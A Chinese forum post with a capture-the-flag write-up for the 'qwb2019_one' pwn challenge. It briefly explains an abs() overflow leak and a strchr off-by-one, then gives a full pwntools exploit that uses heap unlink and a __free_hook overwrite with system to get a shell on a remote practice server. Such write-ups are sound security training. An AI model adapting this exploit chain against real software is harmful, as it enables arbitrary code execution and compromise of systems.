roger 发表于 2020-9-3 22:05:00

qwb_2019_pwn_one

  qwb2019_one(strchr的误用)
  首先,检查一下程序的保护机制
  然后,我们用IDA分析一下,test功能里abs函数存在溢出,由此可以造成下标越界,进而可以泄露程序的地址。
  在edit功能里,strchr可以返回字符串结尾的’\0’的位置,因此可以造成off bu one,我们每一次进行off by one将结尾的\0改掉,这样,我们就可以一步一步的逼近下一个chunk的size处,进而可以修改size
  我们可以通过控制size,然后伪造chunk,进行unlink操作,然后就能实现任意地址读写了。然后写free_hook即可

#coding:utf8
from pwn import *

#sh = process('./qwb2019_one')
sh = remote('node3.buuoj.cn',27591)
elf = ELF('./qwb2019_one')
free_got = elf.got['free']
libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')
free_hook_s = libc.symbols['__free_hook']
free_s = libc.sym['free']
system_s = libc.sym['system']

def add(string):
   sh.sendlineafter('command>>','1')
   sh.sendafter('test string:',string)

def edit(index,old_c,new_c):
   sh.sendlineafter('command>>','2')
   sh.sendlineafter('index of the string:',str(index))
   sh.sendafter('Which char do you want to edit:',old_c)
   sh.sendlineafter('What do you want to edit it into:',new_c)

def show(index):
   sh.sendlineafter('command>>','3')
   sh.sendlineafter('index of the string:',str(index))

def delete(index):
   sh.sendlineafter('command>>','4')
   sh.sendlineafter('index of the string:',str(index))

def test(index):
   sh.sendlineafter('command>>','12580')
   sh.sendlineafter('Do you want to use one?(Y/N)','Y')
   sh.sendlineafter('Here are 5 strings to be tested. Which one do you want to test?',str(index))

#abs溢出
test(0x80000000)
#泄露elf地址
sh.recvuntil('The string:\n')
heap0_ptr_addr = u64(sh.recv(6).ljust(0x8,'\x00'))
elf_base = heap0_ptr_addr - 0x2030C0
free_got_addr = elf_base + free_got
print 'heap0_ptr_addr=',hex(heap0_ptr_addr)
print 'elf_base=',hex(elf_base)

char_table = ''
for i in range(0x20):
   char_table += chr(ord('a')+i)

add(char_table) #0
add('b'*0x20) #1
add('/bin/sh\x00') #2
#3~0x11
for i in range(0xF):
   add('b'*0x20)
#0x12
add('c'*0x20)
#一步一步的将\x00替换为a,使得我们可以到达chunk1的size处

for i in range(0x18):
   edit(0,'\x00',chr(ord('B') + i))
size = 0x40 * 0x11
#修改chunk1的size
edit(0,'\x41\n',p8(size & 0xFF))
edit(0,'\x00',p8((size >> 0x8) & 0xFF))
#现在修改chunk1的prev_size
for i in range(0x17,0x10,-1): #清空prev_size的高7字节
   edit(0,chr(ord('B') + i) + '\n','\x00')
#写prev_size
edit(0,chr(ord('B') + 0x10) + '\n',p8(0x30))
#现在开始,在chunk0里伪造fake_chunk
fake_chunk = p64(0) + p64(0x31)
fake_chunk += p64(heap0_ptr_addr - 0x18) + p64(heap0_ptr_addr - 0x10)
#倒序写入
for i in range(0x1F,-1,-1):
   edit(0,chr(ord('a')+i)+'\n',fake_chunk)
#unlink
delete(1)
#现在控制了堆指针数组
for i in range(0x18):
   edit(0,'\x00','1')
#使得堆指针0指向数组的第二个位置
edit(0,'\xA8\n','\xC8')
#写入free_got的地址
for i in range(6):
   edit(0,'\x00',p8((free_got_addr >> (8 * i)) & 0xFF))
show(1)
sh.recvuntil('The string is:\n')
free_addr = u64(sh.recv(6).ljust(0x8,'\x00'))
libc_base = free_addr - free_s
free_hook_addr = libc_base + free_hook_s
system_addr = libc_base + system_s
print 'libc_base=',hex(libc_base)
print 'free_hook_addr=',hex(free_hook_addr)
print 'system_addr=',hex(system_addr)
#修改堆数组指针第二个,指向free_hook
for i in range(6):
   edit(0,p8((free_got_addr >> (8 * i)) & 0xFF) + '\n',p8((free_hook_addr >> (8 * i)) & 0xFF))
#写free_hook
for i in range(6):
   edit(1,'\x00',p8((system_addr >> (8 * i)) & 0xFF))
#getshell
delete(2)

sh.interactive()
                                                                                          
页: [1]
查看完整版本: qwb_2019_pwn_one